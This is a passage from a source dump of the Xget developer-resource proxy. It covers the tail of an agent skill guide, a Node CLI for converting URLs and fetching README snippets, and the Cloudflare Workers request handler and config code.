from the environment instead. If a heading is repeated, such as `Use in Project`, fetch its parent section instead of relying on the ambiguous child title alone. When the right section is not obvious, prefer `topics --match ` over maintaining a second static map in the skill docs. Typical matches are package managers (`npm`, `pip`, `cargo`), runtime tools (`docker`, `kubernetes`, `github actions`), AI providers (`openai`, `anthropic`, `gemini`), or hosting targets (`cloudflare`, `vercel`, `netlify`, `docker compose`). ## Execute instead of paraphrase When the user wants a change in a real project, adapt the live README snippet to the target file and run the necessary commands instead of pasting generic examples back: - `.npmrc`, `pip.conf`, `NuGet.Config`, `.cargo/config.toml`, `.condarc` - `Dockerfile`, `docker-compose.yml`, Kubernetes manifests, GitHub Actions workflows - `.env`, SDK initialization code, shell profile files Treat phrasing like "configure this", "change it", "wire it in", "switch to Xget", "run this", "fix it", or "deploy it" as a cue to execute. Only fall back to example commands when the user explicitly asks for examples or a missing fact prevents safe execution. ## Deployment For deployment guidance, use the README section on deployment in the: [Xget deployment guide](https://github.com/xixu-me/xget?tab=readme-ov-file#-deployment) ## Troubleshooting heuristics - `404` on converted URLs often means the wrong prefix or an unmatched upstream platform. - crates.io conversions should strip the upstream `/api/v1/crates` prefix before adding `/crates/...`. - pip issues often come from adding `trusted-host` unnecessarily or pointing it at the wrong host. - Docker examples must use `/cr/{registry}` prefixes, not plain `/{prefix}`. - AI SDK examples usually need the Xget base URL changed but keep the original API key behavior. - If the user asks for the “latest” supported platform, refresh the live platform map before answering. ================================================ FILE: skills/xget/scripts/xget.mjs ================================================ #!/usr/bin/env node import { get } from 'node:https'; import { relative } from 'node:path'; import process from 'node:process'; import { pathToFileURL } from 'node:url'; const DEFAULT_SOURCE_URL = 'https://raw.gitcode.com/xixu-me/xget/raw/main/src/config/platform-catalog.js'; const DEFAULT_README_URL = 'https://raw.githubusercontent.com/xixu-me/xget/main/README.md'; const DEFAULT_BASE_PLACEHOLDER = 'https://xget.example.com'; const DEFAULT_PUBLIC_BASE_URL = 'https://xget.xi-xu.me'; const DEFAULT_PUBLIC_HOST = 'xget.xi-xu.me'; const README_USE_CASES_HEADING = '## 🎯 Use Cases'; const MISSING_BASE_URL_HINT = `Missing --base-url and XGET_BASE_URL. Ask for the user's Xget base URL and whether ` + `to set it temporarily or persistently. For docs-only placeholders, use ${DEFAULT_BASE_PLACEHOLDER}.`; const CRATES_API_PREFIX = '/api/v1/crates'; /** * @typedef {'resource' | 'registry' | 'inference'} PlatformCategory */ /** * @typedef {{ key: string, upstream: string, pathPrefix: string, category: PlatformCategory }} PlatformEntry */ /** * @typedef {{ * help?: boolean, * format?: string, * heading?: string, * match?: string, * url?: string, * 'source-url'?: string, * 'base-url'?: string, * 'readme-url'?: string, * [key: string]: string | boolean | undefined * }} CliOptions */ /** * @typedef {{ command: string, options: CliOptions }} ParsedArgs */ /** * @typedef {{ * index: number, * level: number, * text: string, * raw: string, * parent: string | null * }} MarkdownHeading */ /** * @typedef {{ * section: string, * heading: string, * baseUrl: string, * content: string * }} UseCasesSnippet */ function getInvocationCommand() { const scriptPath = process.argv[1]; if (!scriptPath) { return 'node scripts/xget.mjs'; } const relativePath = relative(process.cwd(), scriptPath).replace(/\\/g, '/'); const displayPath = relativePath && !relativePath.startsWith('..') ? relativePath : scriptPath.replace(/\\/g, '/'); return `node ${displayPath}`; } function printHelp() { const invocation = getInvocationCommand(); console.log(`Usage: ${invocation} [options] Commands: platforms Fetch the live Xget platform map. convert Convert an upstream URL to an Xget URL. topics List headings from the README Use Cases section. snippet Fetch the README Use Cases section or a subsection. help Show this message. Global options: --source-url URL Override the remote platform source URL. --format FORMAT json (default), text, or table when supported. --help Show command help. platforms options: --format json|table convert options: --base-url URL Xget base URL. Defaults to XGET_BASE_URL. --url URL Upstream URL to convert. --format json|text topics options: --readme-url URL Override the remote README markdown URL. --match TEXT Filter headings by case-insensitive text match. --format json|text snippet options: --base-url URL Xget base URL. Defaults to XGET_BASE_URL and rewrites README examples to match it. --readme-url URL Override the remote README markdown URL. --heading TEXT Exact heading inside the Use Cases section. --match TEXT Case-insensitive heading filter inside Use Cases. --format json|text Examples: ${invocation} platforms --format table ${invocation} convert --base-url https://xget.example.com --url https://github.com/microsoft/vscode ${invocation} topics --match docker --format text ${invocation} snippet --base-url https://xget.example.com --heading "Docker Compose Configuration" --format text `); } /** * @param {string[]} argv * @returns {ParsedArgs} */ function parseArgs(argv) { const [command = 'help', ...rest] = argv; if (command === '--help') { return { command: 'help', options: { help: true } }; } /** @type {CliOptions} */ const options = {}; for (let index = 0; index < rest.length; index += 1) { const token = rest[index]; if (!token.startsWith('--')) { fail(`Unexpected argument "${token}". Use --help for supported options.`, 2); } const key = token.slice(2); if (key === 'help') { options.help = true; continue; } const value = rest[index + 1]; if (!value || value.startsWith('--')) { fail(`Missing value for --${key}.`, 2); } options[key] = value; index += 1; } return { command, options }; } /** * @param {unknown} error * @returns {string} */ function getErrorMessage(error) { return error instanceof Error ? error.message : String(error); } /** * @param {string} message * @param {number} [code] * @returns {never} */ function fail(message, code = 1) { console.error(`Error: ${message}`); process.exit(code); } /** * Parses a platform map object literal from repository source. * Supports the simple `key: 'value'` form used by the Xget platform catalog. * @param {string} objectSource * @returns {Record} */ function parsePlatformMapObject(objectSource) { /** @type {Record} */ const platforms = {}; for (const rawLine of objectSource.split(/\r?\n/)) { const line = rawLine.trim(); if (!line || line === '{' || line === '}' || line.startsWith('//')) { continue; } const match = line.match( /^(?:'([^']+)'|"([^"]+)"|([A-Za-z0-9_-]+))\s*:\s*(?:'([^']*)'|"([^"]*)")\s*,?$/ ); if (!match) { throw new Error(`unsupported platform entry: ${line}`); } const key = match[1] || match[2] || match[3]; const value = match[4] || match[5] || ''; platforms[key] = value; } return platforms; } /** * @param {string} url * @returns {Promise} */ function httpGet(url) { return new Promise((resolve, reject) => { get(url, response => { if ( response.statusCode && response.statusCode >= 300 && response.statusCode < 400 && response.headers.location ) { resolve(httpGet(response.headers.location)); return; } if (response.statusCode !== 200) { reject(new Error(`Unexpected HTTP status ${response.statusCode} for ${url}`)); response.resume(); return; } let body = ''; response.setEncoding('utf8'); response.on('data', chunk => { body += chunk; }); response.on('end', () => resolve(body)); }).on('error', reject); }); } /** * @param {string} jsSource * @returns {Record} */ export function extractPlatformsModule(jsSource) { const platformExportPatterns = [ { name: 'PLATFORM_CATALOG', pattern: /export const PLATFORM_CATALOG = (\{[\s\S]*?\n\});/ }, { name: 'PLATFORMS', pattern: /export const PLATFORMS = (\{[\s\S]*?\n\});/ } ]; for (const { name, pattern } of platformExportPatterns) { const match = jsSource.match(pattern); if (!match) { continue; } try { return parsePlatformMapObject(match[1]); } catch (error) { fail(`Could not parse remote ${name} object: ${getErrorMessage(error)}`); } } fail('Could not find `export const PLATFORM_CATALOG = {...}` or `PLATFORMS = {...}`.'); } /** * @param {Record} platforms * @returns {PlatformEntry[]} */ export function createPlatformEntries(platforms) { return Object.entries(platforms) .sort(([left], [right]) => left.localeCompare(right)) .map(([key, upstream]) => ({ key, upstream, pathPrefix: `/${key.replace(/-/g, '/')}/`, category: key.startsWith('ip-') ? 'inference' : key.startsWith('cr-') ? 'registry' : 'resource' })); } /** * @param {string} jsSource * @returns {PlatformEntry[]} */ export function loadPlatformsFromSource(jsSource) { const platforms = extractPlatformsModule(jsSource); return createPlatformEntries(platforms); } /** * @param {string} sourceUrl * @returns {Promise} */ async function loadPlatforms(sourceUrl) { const jsSource = await httpGet(sourceUrl); return loadPlatformsFromSource(jsSource); } /** * @param {string | undefined} value * @returns {string | null} */ function normalizeBaseUrl(value) { if (typeof value !== 'string' || !value) { return null; } try { const url = new URL(value); url.pathname = url.pathname.replace(/\/+$/, ''); url.search = ''; url.hash = ''; return url.toString().replace(/\/$/, ''); } catch { fail(`Invalid --base-url value "${value}". Expected an absolute URL.`); } } /** * Resolve an explicit or environment-provided base URL without inventing a fallback instance. * @param {string | undefined} optionValue * @param {string | undefined} envValue * @returns {string | null} */ export function resolveBaseUrl(optionValue, envValue) { return normalizeBaseUrl(optionValue ?? envValue); } /** * @param {string} value * @param {string} flagName * @returns {URL} */ function normalizeAbsoluteUrl(value, flagName) { try { return new URL(value); } catch { fail(`Invalid ${flagName} value "${value}". Expected an absolute URL.`); } } /** * @param {string} pathname * @returns {string} */ function normalizePathname(pathname) { if (!pathname || pathname === '/') { return ''; } return pathname.replace(/\/+$/, ''); } /** * @param {string} pathname * @param {string} prefix * @param {boolean} [caseInsensitive] * @returns {boolean} */ function matchesPathPrefix(pathname, prefix, caseInsensitive = false) { const normalizedPath = normalizePathname(pathname); const normalizedPrefix = normalizePathname(prefix); if (!normalizedPrefix) { return true; } if (!normalizedPath) { return false; } if (caseInsensitive) { const lowerPath = normalizedPath.toLowerCase(); const lowerPrefix = normalizedPrefix.toLowerCase(); return lowerPath === lowerPrefix || lowerPath.startsWith(`${lowerPrefix}/`); } return normalizedPath === normalizedPrefix || normalizedPath.startsWith(`${normalizedPrefix}/`); } /** * @param {string} pathname * @param {string} prefix * @param {boolean} [caseInsensitive] * @returns {string} */ function stripPathPrefix(pathname, prefix, caseInsensitive = false) { const normalizedPrefix = normalizePathname(prefix); if (!normalizedPrefix) { return pathname; } const flags = caseInsensitive ? 'i' : ''; const escapedPrefix = normalizedPrefix.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); return pathname.replace(new RegExp(`^${escapedPrefix}(?=/|$)`, flags), ''); } /** * @param {PlatformEntry[]} platforms * @param {string} key * @returns {PlatformEntry | null} */ function findPlatformByKey(platforms, key) { return platforms.find(platform => platform.key === key) ?? null; } /** * @param {PlatformEntry[]} platforms * @param {URL} originUrl * @returns {PlatformEntry | null} */ function findSpecialPlatformForUrl(platforms, originUrl) { if (originUrl.hostname === 'ghcr.io') { if (originUrl.pathname.startsWith('/v2/homebrew/')) { return findPlatformByKey(platforms, 'homebrew-bottles'); } return findPlatformByKey(platforms, 'cr-ghcr'); } return null; } /** * @param {PlatformEntry[]} platforms * @param {URL} originUrl * @returns {PlatformEntry | null} */ export function findPlatformForUrl(platforms, originUrl) { const specialPlatform = findSpecialPlatformForUrl(platforms, originUrl); if (specialPlatform) { return specialPlatform; } const matchingPlatforms = platforms .filter(platform => { const upstreamUrl = new URL(platform.upstream); if (upstreamUrl.origin !== originUrl.origin) { return false; } const caseInsensitive = platform.key === 'homebrew' || platform.key === 'homebrew-api'; return matchesPathPrefix(originUrl.pathname, upstreamUrl.pathname, caseInsensitive); }) .sort((left, right) => { const leftPathLength = normalizePathname(new URL(left.upstream).pathname).length; const rightPathLength = normalizePathname(new URL(right.upstream).pathname).length; return rightPathLength - leftPathLength; }); return matchingPlatforms[0] ?? null; } /** * @param {PlatformEntry} platform * @param {URL} originUrl * @returns {string} */ export function getConvertedSuffix(platform, originUrl) { let pathname = originUrl.pathname; if (platform.key === 'homebrew') { pathname = stripPathPrefix(pathname, '/Homebrew', true); } else if (platform.key === 'homebrew-api') { pathname = stripPathPrefix(pathname, '/api', true); } else if (platform.key === 'crates') { pathname = stripPathPrefix(pathname, CRATES_API_PREFIX, true); } else { const upstreamPath = new URL(platform.upstream).pathname; pathname = stripPathPrefix(pathname, upstreamPath); } if (!pathname) { pathname = '/'; } if (!pathname.startsWith('/')) { pathname = `/${pathname}`; } return `${pathname}${originUrl.search}${originUrl.hash}`; } /** * @param {string} baseUrl * @param {PlatformEntry} platform * @param {URL} originUrl * @returns {string} */ export function buildConvertedUrl(baseUrl, platform, originUrl) { const suffix = getConvertedSuffix(platform, originUrl); return `${baseUrl}${platform.pathPrefix}${suffix.replace(/^\/+/, '')}`; } /** * @param {string} line * @returns {Omit | null} */ function parseMarkdownHeading(line) { const match = line.trim().match(/^(#{1,6})\s+(.+?)\s*$/); if (!match) { return null; } const text = match[2].trim(); return { level: match[1].length, text, raw: `${match[1]} ${text}` }; } /** * @param {string} heading * @returns {string} */ function normalizeHeadingQuery(heading) { return heading .replace(/^#{1,6}\s+/, '') .replace(/^[^\p{L}\p{N}]+/u, '') .trim() .toLowerCase(); } /** * @param {string} line * @returns {boolean} */ function isCodeFenceDelimiter(line) { return /^(```|~~~)/.test(line.trim()); } /** * @param {string[]} lines * @returns {MarkdownHeading[]} */ function collectMarkdownHeadings(lines) { /** @type {Array} */ const stack = []; let inCodeFence = false; return lines.flatMap((line, index) => { if (isCodeFenceDelimiter(line)) { inCodeFence = !inCodeFence; return []; } if (inCodeFence) { return []; } const heading = parseMarkdownHeading(line); if (!heading) { return []; } let parent = null; for (let level = heading.level - 1; level >= 1; level -= 1) { if (stack[level]) { parent = stack[level] ?? null; break; } } stack[heading.level] = heading.text; stack.length = heading.level + 1; return [ { index, ...heading, parent } ]; }); } /** * @param {MarkdownHeading} heading * @returns {string} */ function formatHeadingLabel(heading) { return heading.parent ? `${heading.raw} (under ${heading.parent})` : heading.raw; } /** * @param {string[]} lines * @param {MarkdownHeading} heading * @returns {string} */ function sliceMarkdownSection(lines, heading) { let endIndex = lines.length; let inCodeFence = false; for (let index = heading.index + 1; index < lines.length; index += 1) { if (isCodeFenceDelimiter(lines[index])) { inCodeFence = !inCodeFence; continue; } if (inCodeFence) { continue; } const candidate = parseMarkdownHeading(lines[index]); if (candidate && candidate.level <= heading.level) { endIndex = index; break; } } return lines.slice(heading.index, endIndex).join('\n').trimEnd(); } /** * @param {string[]} lines * @param {string} heading * @returns {MarkdownHeading} */ function findUniqueHeading(lines, heading) { const headings = collectMarkdownHeadings(lines); const query = normalizeHeadingQuery(heading); const matches = headings.filter(candidate => normalizeHeadingQuery(candidate.text) === query); if (matches.length === 0) { fail(`Could not find README heading "${heading}".`); } if (matches.length > 1) { fail( `Heading "${heading}" matched multiple sections: ${matches.map(formatHeadingLabel).join('; ')}` ); } return matches[0]; } /** * @param {MarkdownHeading[]} headings * @param {string | undefined} match * @returns {MarkdownHeading[]} */ function filterHeadingsByMatch(headings, match) { if (!match) { return headings; } const query = match.trim().toLowerCase(); return headings.filter(heading => { const haystacks = [heading.text, heading.raw, heading.parent ?? '']; return haystacks.some(value => value.toLowerCase().includes(query)); }); } /** * @param {string} markdown * @param {number} [minLevel] * @param {number} [maxLevel] * @returns {MarkdownHeading[]} */ export function listMarkdownHeadings(markdown, minLevel = 2, maxLevel = 6) { const lines = markdown.split(/\r?\n/); return collectMarkdownHeadings(lines) .map(heading => ({ ...heading, parent: heading.level <= minLevel ? null : heading.parent })) .filter(heading => heading.level >= minLevel && heading.level <= maxLevel); } /** * @param {string} markdown * @param {string} heading * @returns {MarkdownHeading} */ export function resolveMarkdownHeading(markdown, heading) { return findUniqueHeading(markdown.split(/\r?\n/), heading); } /** * @param {string} markdown * @param {string} heading * @returns {string} */ export function extractMarkdownSection(markdown, heading) { const lines = markdown.split(/\r?\n/); const resolvedHeading = findUniqueHeading(lines, heading); return sliceMarkdownSection(lines, resolvedHeading); } /** * @param {string} baseUrl * @param {string} markdownSection * @returns {string} */ export function rewriteUseCasesBaseUrl(baseUrl, markdownSection) { const host = new URL(baseUrl).host; return markdownSection .replaceAll(DEFAULT_PUBLIC_BASE_URL, baseUrl) .replaceAll(DEFAULT_PUBLIC_HOST, host); } /** * @param {string} useCasesMarkdown * @param {string | undefined} heading * @param {string | undefined} match * @returns {{ heading: string, content: string }} */ export function selectUseCaseSection(useCasesMarkdown, heading, match) { if (heading && match) { fail('Use either --heading or --match for snippet, not both.', 2); } if (!heading && !match) { return { heading: README_USE_CASES_HEADING, content: useCasesMarkdown }; } const lines = useCasesMarkdown.split(/\r?\n/); if (heading) { const resolvedHeading = findUniqueHeading(lines, heading); return { heading: resolvedHeading.raw, content: sliceMarkdownSection(lines, resolvedHeading) }; } const matchedHeadings = filterHeadingsByMatch( listMarkdownHeadings(useCasesMarkdown, 3, 4), match ); if (matchedHeadings.length === 0) { fail(`Could not find a README Use Cases heading matching "${match}".`, 2); } if (matchedHeadings.length > 1) { fail( `Match "${match}" was ambiguous. Candidates: ${matchedHeadings.map(formatHeadingLabel).join('; ')}`, 2 ); } return { heading: matchedHeadings[0].raw, content: sliceMarkdownSection(lines, matchedHeadings[0]) }; } /** * @param {string} baseUrl * @param {string} readmeMarkdown * @param {{ heading?: string, match?: string }} [options] * @returns {UseCasesSnippet} */ export function createUseCasesSnippet(baseUrl, readmeMarkdown, options = {}) { const useCasesSection = extractMarkdownSection(readmeMarkdown, README_USE_CASES_HEADING); const selectedSection = selectUseCaseSection(useCasesSection, options.heading, options.match); return { section: 'use-cases', heading: selectedSection.heading, baseUrl, content: rewriteUseCasesBaseUrl(baseUrl, selectedSection.content) }; } /** * @param {unknown} value * @returns {void} */ function renderJson(value) { console.log(JSON.stringify(value, null, 2)); } /** * @param {PlatformEntry[]} rows * @returns {void} */ function renderTable(rows) { /** @type {Array} */ const headers = ['key', 'category', 'pathPrefix', 'upstream']; const widths = headers.map(header => Math.max(header.length, ...rows.map(row => String(row[header]).length)) ); /** * @param {Record} row * @returns {string} */ const formatRow = row => headers.map((header, index) => String(row[header]).padEnd(widths[index])).join(' '); console.log(formatRow(Object.fromEntries(headers.map(header => [header, header])))); console.log(widths.map(width => '-'.repeat(width)).join(' ')); rows.forEach(row => console.log(formatRow(row))); } /** * @param {UseCasesSnippet['content']} content * @returns {void} */ function renderTextContent(content) { console.log(content); } /** * @param {MarkdownHeading[]} headings * @returns {void} */ function renderTextHeadings(headings) { headings.forEach(heading => { if (heading.parent) { console.log(`${heading.text} (under ${heading.parent})`); return; } console.log(heading.text); }); } /** * @param {CliOptions} options * @param {string} key * @returns {string | undefined} */ function getStringOption(options, key) { const value = options[key]; return typeof value === 'string' ? value : undefined; } async function main() { const { command, options } = parseArgs(process.argv.slice(2)); if (options.help || command === 'help') { printHelp(); return; } const sourceUrl = getStringOption(options, 'source-url') ?? DEFAULT_SOURCE_URL; const format = getStringOption(options, 'format') ?? 'json'; if (command === 'platforms') { const platforms = await loadPlatforms(sourceUrl); if (format === 'json') { renderJson({ sourceUrl, count: platforms.length, platforms }); return; } if (format === 'table') { renderTable(platforms); return; } fail('Unsupported --format for platforms. Use json or table.', 2); } if (command === 'convert') { const baseUrl = resolveBaseUrl(getStringOption(options, 'base-url'), process.env.XGET_BASE_URL) ?? fail(MISSING_BASE_URL_HINT, 2); const rawUrl = getStringOption(options, 'url'); if (!rawUrl) { fail('Missing --url for convert.', 2); } const originUrl = normalizeAbsoluteUrl(rawUrl, '--url'); const platforms = await loadPlatforms(sourceUrl); const platform = findPlatformForUrl(platforms, originUrl); if (!platform) { fail(`No current Xget platform matched upstream origin ${originUrl.origin}.`, 3); } const convertedUrl = buildConvertedUrl(baseUrl, platform, originUrl); const payload = { sourceUrl, baseUrl, upstreamUrl: originUrl.toString(), matchedPlatform: platform, convertedUrl }; if (format === 'json') { renderJson(payload); return; } if (format === 'text') { console.log(payload.convertedUrl); return; } fail('Unsupported --format for convert. Use json or text.', 2); } if (command === 'topics') { const readmeUrl = getStringOption(options, 'readme-url') ?? DEFAULT_README_URL; const readmeMarkdown = await httpGet(readmeUrl); const useCasesSection = extractMarkdownSection(readmeMarkdown, README_USE_CASES_HEADING); const topics = filterHeadingsByMatch( listMarkdownHeadings(useCasesSection, 3, 4), getStringOption(options, 'match') ); const payload = { sourceUrl: readmeUrl, section: 'use-cases', heading: README_USE_CASES_HEADING, match: getStringOption(options, 'match') ?? null, count: topics.length, topics: topics.map(({ index, ...topic }) => topic) }; if (format === 'json') { renderJson(payload); return; } if (format === 'text') { renderTextHeadings(topics); return; } fail('Unsupported --format for topics. Use json or text.', 2); } if (command === 'snippet') { const baseUrl = resolveBaseUrl(getStringOption(options, 'base-url'), process.env.XGET_BASE_URL) ?? fail(MISSING_BASE_URL_HINT, 2); if (getStringOption(options, 'preset')) { fail( '`--preset` is no longer supported. `snippet` now fetches the README Use Cases section.', 2 ); } const readmeUrl = getStringOption(options, 'readme-url') ?? DEFAULT_README_URL; const readmeMarkdown = await httpGet(readmeUrl); const snippet = { sourceUrl: readmeUrl, ...createUseCasesSnippet(baseUrl, readmeMarkdown, { heading: getStringOption(options, 'heading'), match: getStringOption(options, 'match') }) }; if (format === 'json') { renderJson(snippet); return; } if (format === 'text') { renderTextContent(snippet.content); return; } fail('Unsupported --format for snippet. Use json or text.', 2); } fail(`Unknown command "${command}". Use --help for supported commands.`, 2); } const entryHref = process.argv[1] ? pathToFileURL(process.argv[1]).href : null; if (entryHref === import.meta.url) { main().catch(error => fail(getErrorMessage(error))); } ================================================ FILE: src/app/handle-request.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. */ import { createRequestContext } from './request-context.js'; import { createHomepageRedirect, normalizeEffectivePath, resolveTarget } from '../routing/resolve-target.js'; import { finalizeResponse } from '../response/finalize-response.js'; import { handleDockerAuth } from '../protocols/docker.js'; import { getDefaultCache, tryReadCachedResponse } from '../upstream/cache.js'; import { fetchUpstreamResponse } from '../upstream/fetch-upstream.js'; import { PerformanceMonitor, addPerformanceHeaders } from '../utils/performance.js'; import { addCorsHeaders, addSecurityHeaders, createErrorResponse } from '../utils/security.js'; import { getAllowedMethods, isProtocolRequest, validateRequest } from '../utils/validation.js'; /** * Main request handler with comprehensive caching, retry logic, and security measures. * @param {Request} request - The incoming HTTP request * @param {Record} env - Cloudflare Workers environment variables for runtime config overrides * @param {ExecutionContext} ctx - Cloudflare Workers execution context for background tasks * @returns {Promise} The HTTP response with appropriate headers and body */ export async function handleRequest(request, env, ctx) { let response; const monitor = new PerformanceMonitor(); const requestContext = createRequestContext(request, env); const { config, isCorsPreflight, isDocker, url } = requestContext; try { if (isCorsPreflight) { const requestedMethod = request.headers.get('Access-Control-Request-Method') || ''; const allowedMethods = getAllowedMethods( new Request(request.url, { method: requestedMethod || 'GET' }), url, config ); if (!allowedMethods.includes(requestedMethod)) { response = createErrorResponse('Method not allowed', 405); } else { const headers = addCorsHeaders(new Headers(), request, config); if (!headers.has('Access-Control-Allow-Origin')) { response = createErrorResponse('Origin not allowed', 403); } else { headers.set('Access-Control-Allow-Methods', allowedMethods.join(', ')); headers.set('Access-Control-Max-Age', '86400'); addSecurityHeaders(headers); response = new Response(null, { status: 204, headers }); } } } // Handle Docker API version check else if (isDocker && (url.pathname === '/v2/' || url.pathname === '/v2')) { const headers = new Headers({ 'Docker-Distribution-Api-Version': 'registry/2.0', 'Content-Type': 'application/json' }); addSecurityHeaders(headers); response = new Response('{}', { status: 200, headers }); } // Redirect root path or invalid platforms to GitHub repository else if (url.pathname === '/' || url.pathname === '') { response = createHomepageRedirect(); } else { const validation = validateRequest(request, url, config, requestContext); if (!validation.valid) { response = createErrorResponse( validation.error || 'Validation failed', validation.status || 400 ); } else { const normalizedPath = normalizeEffectivePath(url, isDocker); let effectivePath = url.pathname; if ('response' in normalizedPath) { const { response: normalizedResponse } = normalizedPath; response = normalizedResponse; } else { const { effectivePath: normalizedEffectivePath } = normalizedPath; effectivePath = normalizedEffectivePath; } if (!response) { // Handle Docker authentication explicitly if ( isDocker && (url.pathname === '/v2/auth' || /^\/cr\/[^/]+\/v2\/auth\/?$/.test(url.pathname)) ) { response = await handleDockerAuth(request, url, config); } else { const resolvedTarget = resolveTarget(url, effectivePath, config.PLATFORMS); if ('response' in resolvedTarget) { const { response: targetResponse } = resolvedTarget; response = targetResponse; } else { const { cacheTargetUrl, platform, targetUrl } = resolvedTarget; const authorization = request.headers.get('Authorization'); const hasSensitiveHeaders = Boolean( authorization || request.headers.get('Cookie') || request.headers.get('Proxy-Authorization') ); const canUseCache = request.method === 'GET' || request.method === 'HEAD'; const shouldPassthroughRequest = isProtocolRequest(requestContext) || !canUseCache; const cache = getDefaultCache(); response = await tryReadCachedResponse({ cache, cacheTargetUrl, canUseCache, hasSensitiveHeaders, monitor, request, requestContext }); if (!response) { const { response: upstreamResponse, responseGeneratedLocally: upstreamResponseGeneratedLocally } = await fetchUpstreamResponse({ authorization, canUseCache, config, effectivePath, monitor, platform, request, requestContext, shouldPassthroughRequest, targetUrl }); response = await finalizeResponse({ cache, cacheTargetUrl, canUseCache, config, ctx, effectivePath, hasSensitiveHeaders, monitor, platform, request, requestContext, response: upstreamResponse, responseGeneratedLocally: upstreamResponseGeneratedLocally, url }); } } } } } } } catch (error) { console.error('Error handling request:', error); response = createErrorResponse('Internal Server Error', 500); } // Ensure performance headers are added to the final response monitor.mark('complete'); const responseWithCors = (() => { const headers = addCorsHeaders(new Headers(response.headers), request, config); return new Response(response.body, { status: response.status, statusText: response.statusText, headers }); })(); return isProtocolRequest(requestContext) ? responseWithCors : addPerformanceHeaders(responseWithCors, monitor); } ================================================ FILE: src/app/request-context.js ================================================ import { CONFIG, createConfig } from '../config/index.js'; import { getRequestTraits } from '../utils/validation.js'; /** * Builds the shared request context used by all runtime adapters. * @param {Request} request * @param {Record} env * @returns {{ * config: import('../config/index.js').ApplicationConfig, * env: Record, * isAI: boolean, * isCorsPreflight: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean, * request: Request, * url: URL * }} Request context with parsed config, URL, and protocol traits. */ export function createRequestContext(request, env) { const runtimeEnv = env && typeof env === 'object' ? env : {}; const config = env === undefined ? CONFIG : createConfig(runtimeEnv); const url = new URL(request.url); const traits = getRequestTraits(request, url); return { ...traits, config, env: runtimeEnv, isCorsPreflight: request.method === 'OPTIONS' && request.headers.has('Origin') && request.headers.has('Access-Control-Request-Method'), request, url }; } ================================================ FILE: src/config/index.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ import { PLATFORMS } from './platform-catalog.js'; /** * Security-related configuration options for request validation and CORS. * @typedef {object} SecurityConfig * @property {string[]} ALLOWED_METHODS - List of allowed HTTP methods for incoming requests * @property {string[]} ALLOWED_ORIGINS - List of allowed CORS origins (use ['*'] for all origins) * @property {number} MAX_PATH_LENGTH - Maximum allowed URL path length in characters * @example * // Default security config * const security = { * ALLOWED_METHODS: ['GET', 'HEAD'], * ALLOWED_ORIGINS: ['*'], * MAX_PATH_LENGTH: 2048 * }; * @example * // Custom security config with restricted origins * const security = { * ALLOWED_METHODS: ['GET', 'HEAD', 'POST'], * ALLOWED_ORIGINS: ['https://example.com', 'https://app.example.com'], * MAX_PATH_LENGTH: 4096 * }; */ /** * Complete application configuration object with runtime settings. * * This configuration controls timeout behavior, retry logic, caching, security policies, * and platform URL mappings. All values can be overridden via environment variables * in Cloudflare Workers. * @typedef {object} ApplicationConfig * @property {number} TIMEOUT_SECONDS - Request timeout in seconds (default: 30) * @property {number} MAX_RETRIES - Maximum number of retry attempts for failed requests (default: 3) * @property {number} RETRY_DELAY_MS - Delay between retry attempts in milliseconds (default: 1000) * @property {number} CACHE_DURATION - Cache duration in seconds for successful responses (default: 1800) * @property {SecurityConfig} SECURITY - Security-related configurations * @property {{ [key: string]: string }} PLATFORMS - Platform-specific base URL mappings * @example * // Default configuration * const config = { * TIMEOUT_SECONDS: 30, * MAX_RETRIES: 3, * RETRY_DELAY_MS: 1000, * CACHE_DURATION: 1800, * SECURITY: { * ALLOWED_METHODS: ['GET', 'HEAD'], * ALLOWED_ORIGINS: ['*'], * MAX_PATH_LENGTH: 2048 * }, * PLATFORMS: { gh: 'https://github.com', ... } * }; * @example * // Configuration with environment overrides * const env = { * TIMEOUT_SECONDS: '60', * MAX_RETRIES: '5', * CACHE_DURATION: '3600' * }; * const config = createConfig(env); * // Results in timeout of 60s, 5 retries, 1 hour cache */ /** * Creates application configuration with environment variable overrides. * * This function merges default configuration values with environment-specific overrides * provided by Cloudflare Workers. Environment variables are parsed as integers where * applicable, and fallback to defaults if parsing fails or values are missing. * * **Environment variable mapping:** * - `TIMEOUT_SECONDS` - Override default timeout (default: 30) * - `MAX_RETRIES` - Override max retry attempts (default: 3) * - `RETRY_DELAY_MS` - Override retry delay (default: 1000) * - `CACHE_DURATION` - Override cache TTL (default: 1800 = 30 minutes) * - `ALLOWED_METHODS` - Comma-separated HTTP methods (default: 'GET,HEAD') * - `ALLOWED_ORIGINS` - Comma-separated CORS origins (default: '*') * - `MAX_PATH_LENGTH` - Override max path length (default: 2048) * @param {Record} env - Environment variables from Cloudflare Workers env object * @returns {ApplicationConfig} Complete application configuration with applied overrides * @example * // Create config with defaults (no environment variables) * const config = createConfig(); * console.log(config.TIMEOUT_SECONDS); // 30 * console.log(config.CACHE_DURATION); // 1800 * @example * // Create config with environment overrides * const env = { * TIMEOUT_SECONDS: '60', * MAX_RETRIES: '5', * CACHE_DURATION: '3600', * ALLOWED_METHODS: 'GET,HEAD,POST,PUT' * }; * const config = createConfig(env); * console.log(config.TIMEOUT_SECONDS); // 60 * console.log(config.MAX_RETRIES); // 5 * console.log(config.CACHE_DURATION); // 3600 (1 hour) * console.log(config.SECURITY.ALLOWED_METHODS); // ['GET', 'HEAD', 'POST', 'PUT'] * @example * // Invalid environment values fallback to defaults * const env = { * TIMEOUT_SECONDS: 'invalid', * MAX_RETRIES: 'not-a-number' * }; * const config = createConfig(env); * console.log(config.TIMEOUT_SECONDS); // 30 (default) * console.log(config.MAX_RETRIES); // 3 (default) * @example * // Custom CORS origins * const env = { * ALLOWED_ORIGINS: 'https://example.com,https://app.example.com' * }; * const config = createConfig(env); * 